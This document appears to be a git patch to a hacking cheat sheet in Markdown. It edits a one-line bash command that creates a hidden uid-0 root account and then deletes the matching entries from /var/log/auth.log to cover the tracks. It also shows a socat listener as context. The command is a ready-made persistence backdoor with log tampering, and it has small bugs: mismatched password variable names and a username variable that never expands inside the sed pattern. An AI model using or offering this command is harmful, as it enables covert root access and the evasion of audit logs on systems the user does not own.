From ba3fa53f2b27b4cbc2f1a46331e890325c5ba41d Mon Sep 17 00:00:00 2001 From: oXis Date: Thu, 19 Jun 2014 14:28:09 +0100 Subject: [PATCH] Fix password error and add comment as an argument just a little mistake --- scripting/bash.md | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/scripting/bash.md b/scripting/bash.md index 7c50cc3..8fd18c5 100644 --- a/scripting/bash.md +++ b/scripting/bash.md @@ -128,8 +128,9 @@ socat readline TCP-LISTEN:1234 ``` **One line root useradd** +It create a new root user. You have to change some parameters. ```bash -USERNAME="name";PASSWD=`perl -e 'print crypt($PASSWD, "sa")'` && sudo useradd -p $PASSWORD --system --shell '/bin/bash' --base-dir "/bin" --uid 0 --non-unique --comment "Comment Here" $USERNAME && sudo sed -i '/useradd/d;/$USERNAME/d;' /var/log/auth.log +USERNAME="name";PASSWD=`perl -e 'print crypt("password", "sa")'`;COMMENT="Comment Here" && sudo useradd -p $PASSWORD --system --shell '/bin/bash' --base-dir "/bin" --uid 0 --non-unique --comment $COMMENT $USERNAME && sudo sed -i '/useradd/d;/$USERNAME/d;' /var/log/auth.log ``` Credits